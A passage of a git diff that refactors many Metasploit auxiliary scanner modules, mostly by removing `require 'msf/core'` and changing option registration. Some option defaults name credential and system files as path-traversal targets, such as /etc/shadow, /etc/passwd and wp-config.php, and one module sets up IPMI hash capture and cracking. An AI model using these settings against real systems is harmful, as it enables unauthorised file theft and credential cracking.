]) end diff --git a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb index 1bcadbbde9..ede0ac3c7d 100644 --- a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb +++ b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary [ OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line", File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]), - ], self.class) + ]) end def extract_words(wordfile) diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index 192a7cb395..79c2e065b2 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first diff --git a/modules/auxiliary/scanner/http/trace_axd.rb b/modules/auxiliary/scanner/http/trace_axd.rb index ab57d7cee5..3ae32c9a5b 100644 --- a/modules/auxiliary/scanner/http/trace_axd.rb +++ b/modules/auxiliary/scanner/http/trace_axd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -26,12 +24,12 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('PATH', [ true, "The test path to find trace.axd file", '/']), OptBool.new('TRACE_DETAILS', [ true, "Display trace.axd details", true ]) - ], self.class) + ]) register_advanced_options( [ OptString.new('StoreFile', [ false, "Store all information into a file", './trace_axd.log']) - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/http/typo3_bruteforce.rb b/modules/auxiliary/scanner/http/typo3_bruteforce.rb index 2d035a031d..13f24d2ad0 100644 --- a/modules/auxiliary/scanner/http/typo3_bruteforce.rb +++ b/modules/auxiliary/scanner/http/typo3_bruteforce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Typo3 diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 674b7dd855..c6645a07d2 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), OptString.new('TARGETURI', [true, 'The URI path to V-CMS', '/vcms2/']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index 6a881c119d..b631a4525f 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [true, "The path to test", '/']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/vhost_scanner.rb b/modules/auxiliary/scanner/http/vhost_scanner.rb index cea5ea796e..174a8c4052 100644 --- a/modules/auxiliary/scanner/http/vhost_scanner.rb +++ b/modules/auxiliary/scanner/http/vhost_scanner.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - # # May I reuse some methods? # @@ -39,7 +37,7 @@ require 'cgi' OptString.new('DOMAIN', [ true, "Domain name", '']), OptString.new('HEADERS', [ false, "HTTP Headers", '']), OptPath.new('SUBDOM_LIST', [false, "Path to text file with subdomains"]), - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb index 399ce2cfc9..78a1550bbe 100644 --- a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb +++ b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(85), OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/shadow']), OptInt.new('DEPTH', [true, 'Traversal depth', 10]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/web_vulndb.rb b/modules/auxiliary/scanner/http/web_vulndb.rb index 32f96c8d11..ce7e3f1503 100644 --- a/modules/auxiliary/scanner/http/web_vulndb.rb +++ b/modules/auxiliary/scanner/http/web_vulndb.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('PATH', [ true, "Original test path", '/']), OptPath.new('VULNCSV',[ true, "Path of vulnerabilities csv file to use" ]) - ], self.class) + ]) register_advanced_options( [ @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]), OptBool.new('ForceCode', [ false, "Force detection using HTTP code", false ]), OptInt.new('TestThreads', [ true, "Number of test threads", 25]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/webdav_internal_ip.rb b/modules/auxiliary/scanner/http/webdav_internal_ip.rb index 9c79ae64a4..2e50d0a2eb 100644 --- a/modules/auxiliary/scanner/http/webdav_internal_ip.rb +++ b/modules/auxiliary/scanner/http/webdav_internal_ip.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new("PATH", [true, "Path to use", '/']), - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/http/webdav_scanner.rb b/modules/auxiliary/scanner/http/webdav_scanner.rb index 00fab61f82..f91808951a 100644 --- a/modules/auxiliary/scanner/http/webdav_scanner.rb +++ b/modules/auxiliary/scanner/http/webdav_scanner.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('PATH', [true, "Path to use", '/']), - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/http/webdav_website_content.rb b/modules/auxiliary/scanner/http/webdav_website_content.rb index 489dea1a5e..ca58030772 100644 --- a/modules/auxiliary/scanner/http/webdav_website_content.rb +++ b/modules/auxiliary/scanner/http/webdav_website_content.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('PATH', [true, "Path to use", '/']), - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/http/webpagetest_traversal.rb b/modules/auxiliary/scanner/http/webpagetest_traversal.rb index 4641786e14..df50bf0f1e 100644 --- a/modules/auxiliary/scanner/http/webpagetest_traversal.rb +++ b/modules/auxiliary/scanner/http/webpagetest_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/']), OptString.new('FILE', [ true, "The path to the file to view", '/etc/passwd']), OptInt.new('DEPTH', [true, 'The max traversal depth', 11]) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/wildfly_traversal.rb b/modules/auxiliary/scanner/http/wildfly_traversal.rb index 3f79cd3b9f..4737a53ff1 100644 --- a/modules/auxiliary/scanner/http/wildfly_traversal.rb +++ b/modules/auxiliary/scanner/http/wildfly_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptString.new('RELATIVE_FILE_PATH', [true, 'Relative path to the file to read', 'standalone\\configuration\\standalone.xml']), OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 1]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb index 34c8503a2a..b8dc321dcf 100644 --- a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb +++ b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb @@ -4,8 +4,6 @@ ## require 'uri' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb index 1576076911..665beb9a58 100644 --- a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('LENGTH', [false, 'Payload length', 2500]), - ], self.class) + ]) end def length diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index 72acdebe94..c4cc483288 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('ENUMERATE_USERNAMES', [ true, 'Enumerate usernames', true ]), OptInt.new('RANGE_START', [false, 'First user id to enumerate', 1]), OptInt.new('RANGE_END', [false, 'Last user id to enumerate', 10]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb index 3f2da7cf5f..b966029946 100644 --- a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb +++ b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/wordpress_multicall' @@ -45,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]), OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]), - ], self.class) + ]) # Not supporting these options, because we are not actually letting the API to process the # password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC. diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb index 32a55bdcbb..b6acfb7a58 100644 --- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb +++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient @@ -38,12 +36,12 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [ true, 'The path to wordpress installation (e.g. /wordpress/)', '/']) - ], self.class) + ]) register_advanced_options( [ OptInt.new('NUM_REDIRECTS', [ true, "Number of HTTP redirects to follow", 10]) - ], self.class) + ]) end def setup() diff --git a/modules/auxiliary/scanner/http/wordpress_scanner.rb b/modules/auxiliary/scanner/http/wordpress_scanner.rb index c8249e2faf..f59686c7d0 100644 --- a/modules/auxiliary/scanner/http/wordpress_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index bdf0190d7d..fd48dd105f 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/wordpress_rpc' @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(80), - ], self.class) + ]) deregister_options('BLANK_PASSWORDS') # we don't need this option end diff --git a/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb b/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb index 5284a81933..d18182571a 100644 --- a/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb index 1f8bf30ff2..da72308c4d 100644 --- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb index 33de5081ae..ca79cc1ae0 100644 --- a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('FILEPATH', [true, 'The wordpress file to read', 'wp-config.php']), OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the wordpress root folder)', 3 ]) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb index 800c6a897f..2457e3b3bb 100644 --- a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb +++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('POSTID', [true, 'The post identification to read', '1']) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb index fce1d04daf..dcec96ff5a 100644 --- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]), OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb index fa90614818..1aac06892b 100644 --- a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'json' require 'nokogiri' @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]), OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']), OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) - ], self.class) + ]) end def user diff --git a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb index b4f21db7cf..c8a7fcdb17 100644 --- a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ]) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb index 736f5256b9..5bfb25ce71 100644 --- a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('WP_USER', [true, 'A valid username', nil]), OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]), OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']) - ], self.class) + ]) end def user diff --git a/modules/auxiliary/scanner/http/xpath.rb b/modules/auxiliary/scanner/http/xpath.rb index 8ebe785795..9577862eb2 100644 --- a/modules/auxiliary/scanner/http/xpath.rb +++ b/modules/auxiliary/scanner/http/xpath.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('MAX_OVER', [ true, "Dont detect result size. Use MAX_LEN instead", true ]), OptBool.new('CHKINJ', [ false, "Check XPath injection with error message", false ]), OptBool.new('DEBUG_INJ', [ false, "Debug XPath injection", true ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/yaws_traversal.rb b/modules/auxiliary/scanner/http/yaws_traversal.rb index 7947f768c2..269426ed45 100644 --- a/modules/auxiliary/scanner/http/yaws_traversal.rb +++ b/modules/auxiliary/scanner/http/yaws_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\win.ini']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/zabbix_login.rb b/modules/auxiliary/scanner/http/zabbix_login.rb index 423c1f98d8..50d9313861 100644 --- a/modules/auxiliary/scanner/http/zabbix_login.rb +++ b/modules/auxiliary/scanner/http/zabbix_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/zabbix' require 'metasploit/framework/credential_collection' @@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to the Zabbix server application', '/zabbix/']), - ], self.class) + ]) end # diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb index c950811aa6..20a94e3136 100644 --- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb +++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('ABSOLUTE', [ true, 'Use an absolute file path or directory traversal relative to the tomcat home', true ]), OptString.new('FILEPATH', [true, 'The name of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts']), OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 1]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb index c17adaf2b9..6bd43bec18 100644 --- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb +++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb b/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb index c5d8369a85..f9ab61f4d5 100644 --- a/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb +++ b/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(500), OptPath.new('PACKETFILE', [ true, 'The ISAKMP packet file', File.join(Msf::Config.data_directory, 'exploits', 'cve-2016-6415', 'sendpacket.raw') ]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/imap/imap_version.rb b/modules/auxiliary/scanner/imap/imap_version.rb index 9999280be5..2ef9865c24 100644 --- a/modules/auxiliary/scanner/imap/imap_version.rb +++ b/modules/auxiliary/scanner/imap/imap_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Imap diff --git a/modules/auxiliary/scanner/ip/ipidseq.rb b/modules/auxiliary/scanner/ip/ipidseq.rb index 206908b32f..f434d2ddb6 100644 --- a/modules/auxiliary/scanner/ip/ipidseq.rb +++ b/modules/auxiliary/scanner/ip/ipidseq.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'timeout' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb index 48396e70d1..2afafdf68b 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ipmi' class MetasploitModule < Msf::Auxiliary @@ -36,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(623) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 61259b1e99..67b5cd71e7 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ipmi' class MetasploitModule < Msf::Auxiliary @@ -46,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]), OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]), OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/ipmi/ipmi_version.rb b/modules/auxiliary/scanner/ipmi/ipmi_version.rb index cffa48177d..ee2d4786ff 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_version.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_version.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ipmi' class MetasploitModule < Msf::Auxiliary @@ -27,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(623) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb b/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb index b145a28fbc..1348f03eff 100644 --- a/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb +++ b/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/scanner/kademlia/server_info.rb b/modules/auxiliary/scanner/kademlia/server_info.rb index 2eaf5ce94b..10b3c8828f 100644 --- a/modules/auxiliary/scanner/kademlia/server_info.rb +++ b/modules/auxiliary/scanner/kademlia/server_info.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(4672) - ], self.class) + ]) end def build_probe diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index a09506761e..0339d30b6b 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb index 7c4b0c7d2c..bbb33c18e6 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -23,61 +20,56 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']), OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]), - OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf']), - ], self.class) - + OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf']) + ]) end def run_host(ip) + user = datastore['NOTES_USER'] + pass = datastore['NOTES_PASS'] + @uri = normalize_uri(datastore['URI']) - user = datastore['NOTES_USER'].to_s - pass = datastore['NOTES_PASS'].to_s - $uri = normalize_uri(datastore['URI']) - - if (user.length == 0 and pass.length == 0) - print_status("http://#{vhost}:#{rport} - Lotus Domino - Trying dump password hashes without credentials") + if 